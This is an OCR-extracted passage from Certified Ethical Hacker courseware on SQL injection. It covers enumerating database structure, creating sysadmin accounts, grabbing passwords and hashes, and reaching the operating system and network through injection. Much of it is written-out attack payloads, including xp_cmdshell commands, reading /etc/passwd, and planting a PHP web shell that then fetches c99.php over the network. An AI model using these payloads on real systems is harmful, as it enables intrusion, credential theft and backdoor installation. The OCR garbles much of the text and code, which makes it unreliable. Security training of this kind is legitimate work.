Prohibited.Egg Database, Table, and Column Enumeration The attacker can use the following techniques to enumerate databases, tables, and columns. Identify User Level Privilege There are several SQL built-in scalar functions that will work in most SQL implementations and show you current user, session user, and system user as follows: u sero r c u r r e n t _ u s e r , s e s s io n _ u s e r, system _user1 and 1 in(s e le c t u ser ) --i f u ser = 'dbo' w a it f o r d e la y 1 union s e le c t i f ( ' fa ls e ' ) ;u s e r ()lik e'0 :0 :5 'ro o t@ % ', benchmark(50000,s h a l ( ' t e s t ' ) ) ,DB Administrators Default administrator accounts include sa, system, sys, dba, admin, root, and many others. The DBO is a user who has implied permissions to perform all activities in the database. Any object created by any member of the sysadmin fixed server role belongs to dbo automatically. Discover DB StructureModule 14 Page 2067Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 83. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerYou can discover DB structure as follows: 9Determine table and column names: 1group by columnnames having 1=1 -9Discover column name ty p e s :1union select sum(columnname ) from tablename 9Enumerate user defined tables: ' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') -Column Enumeration in DB You can perform column enumeration in the DB as follows: 9M S SQL: SELECT name FROM syscolumns WHERE id = (SELECT id FROM s y s o b je c ts WHERE name = 'tablenam e ') sp_columns tablename9MySQL: show columns from tablename9Oracle: SELECT *FROM all_tab_colum ns WHERE table_nam e=' tablename 19D B 2 :SELECT * FROM s y s c a t . columns WHERE tabname= 'tablenam e '9Postgres:SELECT attnum ,attnam e from p g _ c la s s , p g _ a ttr ib u te WHERE relname= 'tablenam e ' AND p g _ c la s s . o id = a t t r e lid AND attnum > 0Module 14 Page 2068Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 84. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerA dvanced E num eration MySQLSYS.TAB, SYS.USER_TABLESSYS.ALL_TABLES syscolumnsmysql.dbtt MsysQueries sysobjectsmysql.hostMsysObjectsSYS.USER_VIEWSt tB MsysRelationshipsSYS.USER_TAB_COLUMNSMS SQL Servermysql.userS MsysACEsSYS.USER_OBJECTSQCEHsystypes sysdatabasesSYS.USER CATALOGt.trrn 'r a Tables and columns enumeration in one querySQL Server' union se le c t 0, sy so b je c ts.name + + ' : syscolumns.name + + systypes.name, 1 , 1 , ' 1 ' , 1 , 1 , 1 , 1 , 1 from sy so b jects, syscolumns, systypes where sy so b je c ts.xtype = U' A D sy so b je c ts. id syscolumns. id A D N N syscolumns. xtype = sy sty p es.xtype Different databases in ServerDatabase Enumeration' and 1 in (s e le c t min (name ) frommas t e r . dbo. sysda tabases where name > ) ' . File location of databases 1 and 1 in (s e le c t min ( filename ) from master, dbo. sysdatabases where filem uas > '. ) Copyright by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited.Advanced Enumeration Attackers use advanced enumeration techniques for information gathering. The information gathered is again used to for gaining unauthorized access. Password cracking methods like calculated hashes and precomputed hashes with the help of various tools like John the Ripper, Cain & Abel, Brutus, cURL, etc. crack passwords. Attackers use buffer overflows for determining the various vulnerabilities of a system or network. The following are some of the metadata tables for different databases: 1. Advanced enumeration through Oracle QSYS.USER_OBJECTSeSYS.TAB, SYS.USER_TEBLESeSYS.USER_VIEWSeSYS.ALL_TABLESeSYS.USER_TAB_COLUMNSSYS.USER_CATALOG2. Advanced enumeration through M S Access aMsysACEsModule 14 Page 2069Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 85. Ethical Hacking and Countermeasures SQL InjectionMsysObjectseMsysQueriesQExam 312-50 Certified Ethical HackerMsysRelationships3. Advanced enumeration through SQI Qmysql.userQmysql.hostemysql.db4. Advanced enumeration through Oracle MySQL Qsysobjectssyscolumnsesystypes9sysdatabasesTables and columns enumeration in one query 'un io n s e le c t 0, sy sob j e c t s . name + ' : ' + syscolum ns. name + ' : + s y s ty p e s . name, 1, 1, ' 1 ' , 1, 1, 1, 1, 1 from s y s o b je c ts , syscolum ns, s ystyp e s where s y s o b je c t s . xtype = 'U ' AND s y s o b je c t s . id = syscolum ns. id AND syscolum ns. xtype = s y s ty p e s . xtype -Database Enumeration D if f e r e n t d atabases in S e r v e r : 1 and m a s te r. dbo. sysd atab ases where name '1in) -( s e le c tmin (name)fromF i l e lo c a t io n o f d atab ases: and 1 in ( s e le c t m in (file n a m e ) from m a s te r. dbo. sysd atab ases where file n a m e >- ) . Module 14 Page 2070Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 86. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerFeatures of Different DBMSs MySQLMSSQLM S AccessOracleDB2CEHPostgreSQL concat" >ll+.l II String Concatenationconcat(,) concat_ws(delim,). . . +Comments~ and /**/and #- and/* -No- and /*-- and /*Request Unionunionunion and ;unionunionunionunion and;Sub-requestsv.4.1 > YesNoYesYesYesStored ProceduresNoYesNoYesNoYesAvailability of information_schem a or its Analogsv.5.0 > YesYesYesYesYes.. " II"" II"Example (MySQL): SELECT * from table where id = 1 union select 1,2,3 Example (PostgreSQL): SELECT * from table where id = 1; select 1,2,3 Example (Oracle): SELECT * from table where id = 1 union select null,null,null from sys.dual Copyright by EG-GlOOCil. All Rights Reserved. Reproduction Is Strictly Prohibited.Features of D ifferent DBMSs The following are the features of comparison tables for different databases:M ySQ LMSSQLMS Accessconcat(,)1l+ 1 l & OracleDB2 "" concat II ll+ 1 ll PostgreSQLString Concatenationconcat_ws(delim,)Comments- and /**/ and 8 and /*No and /*-and /*unionunion and;unionunionunionunion and;Sub-requestsv.4.1 > =YesNoYesYesYesStored ProceduresNoYesNoYesNoYesv.5.0 > =YesYesYesYesYesRequestUnion" II" , II 'Availability of information_schem a or its AnalogsTABLE 14.5: Features of Different DBMSsModule 14 Page 2071Ethical Hacking and Countermeasures Copyright by EC-C0l1nCil All Rights Reserved. Reproduction is Strictly Prohibited. 87. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical Hacker9Example (MySQL): SELECT * from table where id = 1 union select 1,2,3aExample (PostgreSQL): SELECT * from table where id = 1; select 1,2,3eExample (Oracle): SELECT * from table where id = 1 union select null,null,null from sys.dualModule 14 Page 2072Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 88. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerCreating Database Accounts CEH Oracle M icrosoft SQL Server exec sp_addlogin ,victor','Passl23'exec sp_addsrvrolemember , victor', 'sysadmin'CREATE USER victor IDENTIFIED BY Passl23 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users; GRANT CONNECT TO victor; GRANT RESOURCE TO victor; 3 Ak fM icrosoft AccessM ySQ LCREATE USER victor IDENTIFIED BY 'Passl23'INSERT INTO mysql.user (user, host, password) VALUES ( ,v i c t o r ', 'localhost', PASSWORD('Passl23'))Copyright by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited.Creating Database Accounts SQL SerM icrosoft SQL s e rv e r You can create database accounts in Microsoft SQL server as follows: Click Start, point to Programs, point to Microsoft SQL Server, and then click Enterprise Manager. In SQL Server Enterprise Manager, expand Microsoft SQL Servers, expand SQL Server Group, expand , expand Security, right-click Logins, and then click New Login. In the SQL Server Login Properties New Login dialog box, on the General tab, in the Name box, type , and then click OK. Repeat this procedure for all remaining accounts you need to create. exec sp_ad d lo g in1 ic t o r ', v'P a s s l2 3 'exec sp addsrvrolemember ' v i c t o r ' ,Module 14 Page 2073'sysad m in'Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 89. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerMySQL You can create database accounts in MySQL as follows: 9Log in as the root user.Q mysql -u root -p QPress Enter and type the root password when prompted.Q mysql-uroot-p Q Just replace with the root user password. Q Then, at the mysql prompt, create the desired database, eCreate database testing.9Grant all on testing.* to 'tester'(g)'localhost' identified by 'password';9This assumes that you are working on the machine where the database is located. Also, replace 'password' with the password you wish to use. INSERT INTO m ysq l.u se r (u ser, h o st, password) VALUES ( , v i c t o r ' , 'lo c a l h o s t ', PASSWORD( ' P a s s l2 3 ' ) )O ra cle --- To create a database account for Oracle, do the following: eClick the Database Account sub tab under the Administrationtab.The DatabaseAccount screen opens. eClick Create. The Create Database Account screen opens.9Enter values in the following fields: User Name: Click the Search icon and enter search criteria for the Oracle LSH user for whom you are creating a database account.Database Account Name: Enter a user name for the database account.The text you enter is stored in uppercase.Password: Enter a password of 8 characters or more for the definer to use with the database account. eConfirm Password: Reenter the password.Click Apply. The system returns you to the Database Account screen. CREATE USER v i c t o r ID EN T IFIED BY Passl23 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE u s e rs ; GRANT CONNECT TO v i c t o r ; GRANT RESOURCE TO v i c t o r ;Module 14 Page 2074Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 90. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerM icrosoft A ccess lfc ,You can create database accounts in Microsoft Access:QClick the New Button image on the toolbar.QIn the New File task pane, under Templates, click M y Computer.QOn the Databases tab, click the icon for the kind of database you want to create, and then click OK.QIn the File New Database dialog box, specify a name and location for the database, and then click Create.eFollow the instructions in the Database Wizard. CREATE USER v i c t o r ID EN T IFIED BY 'P a s s l2 3 'Module 14 Page 2075Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 91. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerPassword GrabbingC EH Grabbing user name and passwords from a User Defined tableD a ta b a se User NamePasswordJohnasd@123Rebeccasetqwertl23DennisT-SQLpass@321b e g i n d e c l a r e Q v a r v a r c h a r (8 0 0 0 ) @ v a r = 1: ' s e l e c t @ v a r= @ v a r+ 1 1+ l o g in + ' / ' + p a s s w o rd + u sersw h e reand 1 inl o g in > @ v a r s e l e c t (s e le c t v a rfr o m@ var a s v a rin t ofro mtem p e n d --tem p )A p p lic a tio n A tta c k e r In te rn e t Copyright by EG-GlOOCil. All Rights Reserved. Reproduction is Strictly Prohibited.Password Grabbing Attackers grab passwords through various methods. The following is the query used for password grabbing. Once the password is grabbed, the attacker might destroy the stay or steal it. At times, attackers might even succeed in escalating privileges up to the admin level. ; b eg in d e c la re @var v a r c h a r (8000) set @var=1: ' s e le c t @var=@var+1+ login+ 1/ ' +password+ from u se rs where lo g in > @var s e le c t @var as v a r in t o temp end -' and 1 in( s e le c t v a r from tem p)--1 ; drop ta b le temp Grabbing user names and passwords from a user defined table: User NamePasswordJohnasd@123R eb eccaq w e r tl2 3Dennisp a ss@ 3 2 1TA BLE 14.6: Passw ord GrabbingModule 14 Page 2076Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 92. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerGrabbing SQL Server HashesCEH UrtifMThe hashes are extracted usingtu>l IlM kMSQL query SELECT name, password FROM sysxloginsSELECT password FROM m aster..sysxloginsWe then hex each hashTo display the hashes through an error message, convert hashes Hex concatenatebegin 0charvalue=' Ox @ , i=l, @length=datalength (@binval1e) , 0hexstring = ' 0123456789ABCDEF*Password field requires dba access With lower privileges you can still recover user names and brute force the passwordw hile (0i t e s t . t x t ' -' ; CREATE TABLE tmp (tx t v are h ar(8000)); FROM 't e s t . t x t ' BULK INSERT tmp; begin d eclare @data v are h ar(8000) ; se t @data-'| * ; s e le c t 0data=@data+txt+ ' | from tmp where tx tO d a ta ; s e le c t @data as x in to temp end and 1 in (s e le c t su b strin g (x ,1,256) from temp) d eclare @var sysname; se t @var = 'd e l t e s t . t x t ; EXEC m aster..xp cmdshell @var; drop tab le temp; drop tab le tmpAttackerCopyright by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.Interacting with the Operating System * There are two ways by which an attacker can interact with the operating system. * 9Once the attacker enters into the system, he or she can read or write the system file from the disk.eAn attacker can directly execute the commands via remote shell.Both the methods are restricted by the database's running privilege and permissions. M ySQL OS Interaction LOAD_FILE 1 union s e le c t 1 ,l o a d _ f i l e ( ' /etc/p assw d ') , 1 , 1 , 1 ; LOAD DATA IN F IL E c r e a te ta b le temp( l i n e b lob ) ; lo a d d ata i n f i l e'/e tc/p a ssw d ' in t o ta b le temp;s e le c t * from temp; SELECT INTO OUTFILE M S SQL OS Interaction ';exec m a s te r..x p cm dshell ' ip c o n fig > t e s t . t x t 'Module 14 Page 2082--Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 98. Ethical Hacking and Countermeasures SQL InjectionC REATE ,te s t.tx t'TABLE -- ; b e g in d e c la r e @ d a ta = 0 d a ta + tx t+ ' te m p 'endandExam 312-50 Certified Ethical Hackertm p(tx t0 d a ta | 1 fro mv a r c h a r (8 0 0 0 ));v a r c h a r (8 0 0 0 ) ; set tm p w h e r e t x t < @ d a t a ;BU LKI N S E R T tm pFROMQ d a t a = '| 1; s e l e c t s e l e c t @ d a ta a s x i n t o--1 in(s e le c td e c la r e var m a s t e r . . x p _ c m d s h e lls u b s t r i n g ( x ,1 ,2 5 6 ) sysnam e; 0 v a r ; d ro pset ta b lefro m @ var te m p ;te m p )--= 'd e l t e s t . t x t '; d r o p t a b l e tm p --EXECFIGURE 14.19: MS SQL OS InteractionModule 14 Page 2083Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 99. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerInteracting with the F ile SystemC EHLOAD_FILE()INTO OUTFILE()The LOAD_FILE() function within MySQL is used to read and return the contents of a file located within the MySQL serverThe OUTFILE() function within MySQL is often used to run a query, and dump the results into a fileNULLU N IO NA LLSELECTL O A D _ F IL E ( ' / e t c / p a s s w d ') / *If successful, the injection will display the co n ten ts o f the p a ss w d fileNULL ? > 'U N IO N IN T OA LLSELECTO U T F IL EN U LL,N U LL,N U LL,N U LL, ? ' IN T O O U T F I L E ' / v a r / w w w / j u g g y b o y . c o m / s h e l l . p h p 1/ *If successful, it will then be possible to run system commandsvia the $_GET global.Thefollowing is an example of using wget to get a file: h t t p : / /w w w . j u g g y b o y . c o m / s h e l l . p h p ?co m m a n d = w g e t h t t p : / /w w w . e x a m p le . c o m / c 9 9 .p h pModule 14 Page 2084Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 100. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerNetwork R econn aissan ce U sing SQL Injection Assessing Network Connectivity JCEHGathering IP information through reverse lookupsServer name and configuration' and 1 in (select ' and 1 in (select srvnam e from m a s te r . . s y s s e r v e r s ) Reverse DNSJNetBIOS, ARP, Local Open Ports, nslookup, ping, ftp, tftp, smb, traceroute?Reverse PingsJTest for firewall and proxies@@servername ) ; e x e c m a s te r ..x p _ c m d s h e ll , n s l o o k u p a .c o m M y I P ' ' ; e x e c m a s te r ..x p _ c m d s h e ll , p in g 1 0 . 0 . 0 . 7 5 ' OPENROWSETNetwork Reconnaissance J ; s e l e c t * f r o m OPENROWSET( 1S Q L o l e d b ', , u i d = s a ; p w d = P a s s l2 3 ; N e tw o rk = D B M S S O C N ; A d d re s s = 1 0 . 0 . 0 . 7 5 ,8 0 ; ' , , s e le c t * fro m t a b l e ')You can execute the following using the command:xp_cmdshell JIpconfig /all, Tracert myIP, arp -a, nbtstat -c, netstat -ano, route printM l ....M....MM i ....M - - A ttack erO S ShellLocal N e tw o rkCopyright by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.N e tw o rk R e c o n n a is s a n c e U sin g SQL I n je c tio n Assessing Network Connectivity Attacker assesses network connectivity to find out the server name and configuration in order to find out information about the network infrastructure; for this attackers use various tools like NetBIOS, ARP, Local Open Ports, nslookup, ping, ftp, tftp, smb, Trace route, etc. All the firewalls and proxies are also tested. aServer name and configuration' and 1 in (select @@ servernam e )and 1 in (selectsrvname from master..sysservers ) NetBIOS, ARP, Local Open Ports, nslookup, ping, ftp, tftp, smb, Trace route?QTest for firewall and proxiesNetwork Reconnaissance Network reconnaissance is used to gather all the information about the network and then to check for vulnerabilities present in the network. You can execute the following using the xp_cmdshell command: Ipconfig /all, Tracert myIP, arp -a, nbtstat -c, netstat -ano, route printGathering IP information through reverse lookups Module 14 Page 2085Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 101. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerAn attacker uses the following techniques to gather IP information through reverse lookups: 9Reverse DNS: When the web server logs are being processed, reverse lookup is used to determine names of the machines accessing the server and also where the users are from, etc. execm a s t e r . . x p _ c m d s h e ll1n s l o o k u pa . com M y I P '-Q Reverse Pings: Code for the reverse ping is: ';exec m a s te r. . xp_cm dshell 'p in g 1 0 .0 .0 .7 5 ' --Q OPENROWSET: OPENROWSET provides a way to use data from a different server in a SQL server statement. It is also helpful to connect to data source directly through OLE DB directly without necessity of creating a linked server. ' ; s e le c t * from OPENROWSET( 'S Q L o le d b ', 'uid = sa; pwd=Passl23; Network=DBMSSOCN; Address=10. 0 . 0 . 75, 80; ' , 's e l e c t * from t a b l e ')Module 14 Page 2086Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reprodu